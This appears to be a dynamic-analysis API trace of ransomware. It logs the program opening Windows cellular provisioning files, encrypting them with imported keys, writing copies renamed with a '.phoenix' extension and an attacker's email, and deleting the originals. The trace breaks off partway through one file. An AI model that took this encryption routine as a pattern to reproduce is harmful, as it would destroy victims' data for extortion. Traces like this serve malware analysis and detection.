	[0244.188] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\256__connections_cellular_celcom malaysia (malaysia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0244.188] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=722) returned 1
	[0244.188] CloseHandle (hObject=0x2d4) returned 1
	[0244.188] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\256__connections_cellular_celcom malaysia (malaysia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0244.188] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\256__connections_cellular_celcom malaysia (malaysia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0244.188] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\256__connections_cellular_celcom malaysia (malaysia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0244.188] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0244.189] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0244.189] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\256__connections_cellular_celcom malaysia (malaysia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0244.189] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151680) returned 1
	[0244.189] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0244.189] ReadFile (in: hFile=0x2d4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d2, lpOverlapped=0x0) returned 1
	[0244.294] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0244.294] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0244.295] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151600) returned 1
	[0244.295] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0244.295] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0244.295] CryptDestroyKey (hKey=0x151600) returned 1
	[0244.295] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0244.295] CryptDestroyKey (hKey=0x151680) returned 1
	[0244.295] CloseHandle (hObject=0x2d4) returned 1
	[0244.295] CloseHandle (hObject=0x2c4) returned 1
	[0244.296] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\256__connections_cellular_celcom malaysia (malaysia)_i0$(__mvid)@wap.provxml")) returned 1
	[0244.297] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0244.297] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\258__connections_cellular_digi (malaysia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0244.299] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=640) returned 1
	[0244.299] CloseHandle (hObject=0x2d4) returned 1
	[0244.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\258__connections_cellular_digi (malaysia)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0244.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\258__connections_cellular_digi (malaysia)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0244.299] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\258__connections_cellular_digi (malaysia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0244.299] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0244.299] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0244.299] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\258__connections_cellular_digi (malaysia)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0244.301] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151280) returned 1
	[0244.301] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0244.301] ReadFile (in: hFile=0x2d4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x280, lpOverlapped=0x0) returned 1
	[0244.497] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290, dwBufLen=0x290 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290) returned 1
	[0244.497] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x290, lpOverlapped=0x0) returned 1
	[0244.498] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151680) returned 1
	[0244.498] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0244.498] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0244.498] CryptDestroyKey (hKey=0x151680) returned 1
	[0244.498] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0244.499] CryptDestroyKey (hKey=0x151280) returned 1
	[0244.499] CloseHandle (hObject=0x2d4) returned 1
	[0244.499] CloseHandle (hObject=0x2e8) returned 1
	[0244.499] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\258__connections_cellular_digi (malaysia)_i1$(__mvid)@wap.provxml")) returned 1
	[0244.500] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0244.500] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\259__connections_cellular_maxis (malaysia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0244.500] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=700) returned 1
	[0244.500] CloseHandle (hObject=0x2e8) returned 1
	[0244.500] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\259__connections_cellular_maxis (malaysia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0244.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\259__connections_cellular_maxis (malaysia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0244.501] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\259__connections_cellular_maxis (malaysia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0244.501] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0244.501] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0244.501] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\259__connections_cellular_maxis (malaysia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0244.501] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151080) returned 1
	[0244.501] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0244.501] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2bc, lpOverlapped=0x0) returned 1
	[0244.564] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2c0) returned 1
	[0244.564] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2c0, lpOverlapped=0x0) returned 1
	[0244.565] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151180) returned 1
	[0244.565] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0244.565] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0244.565] CryptDestroyKey (hKey=0x151180) returned 1
	[0244.565] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0244.565] CryptDestroyKey (hKey=0x151080) returned 1
	[0244.565] CloseHandle (hObject=0x2e8) returned 1
	[0244.566] CloseHandle (hObject=0x2d4) returned 1
	[0244.566] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\259__connections_cellular_maxis (malaysia)_i0$(__mvid)@wap.provxml")) returned 1
	[0244.566] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0244.567] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\25__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0244.567] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=480) returned 1
	[0244.567] CloseHandle (hObject=0x2d4) returned 1
	[0244.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\25__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0244.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\25__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0244.567] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\25__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0244.567] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0244.567] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0244.567] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\25__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0244.568] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151440) returned 1
	[0244.568] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0244.568] ReadFile (in: hFile=0x2d4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1e0, lpOverlapped=0x0) returned 1
	[0244.569] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1f0) returned 1
	[0244.569] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1f0, lpOverlapped=0x0) returned 1
	[0244.570] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1514c0) returned 1
	[0244.570] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0244.570] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90, dwBufLen=0x90 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90) returned 1
	[0244.570] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0244.570] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x142, lpOverlapped=0x0) returned 1
	[0244.570] CryptDestroyKey (hKey=0x151440) returned 1
	[0244.570] CloseHandle (hObject=0x2d4) returned 1
	[0244.570] CloseHandle (hObject=0x2e8) returned 1
	[0244.570] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\25__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0244.571] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0244.571] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\260__connections_cellular_maxis (malaysia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0244.571] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=768) returned 1
	[0244.571] CloseHandle (hObject=0x2e8) returned 1
	[0244.571] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\260__connections_cellular_maxis (malaysia)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0244.571] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\260__connections_cellular_maxis (malaysia)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0244.571] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\260__connections_cellular_maxis (malaysia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
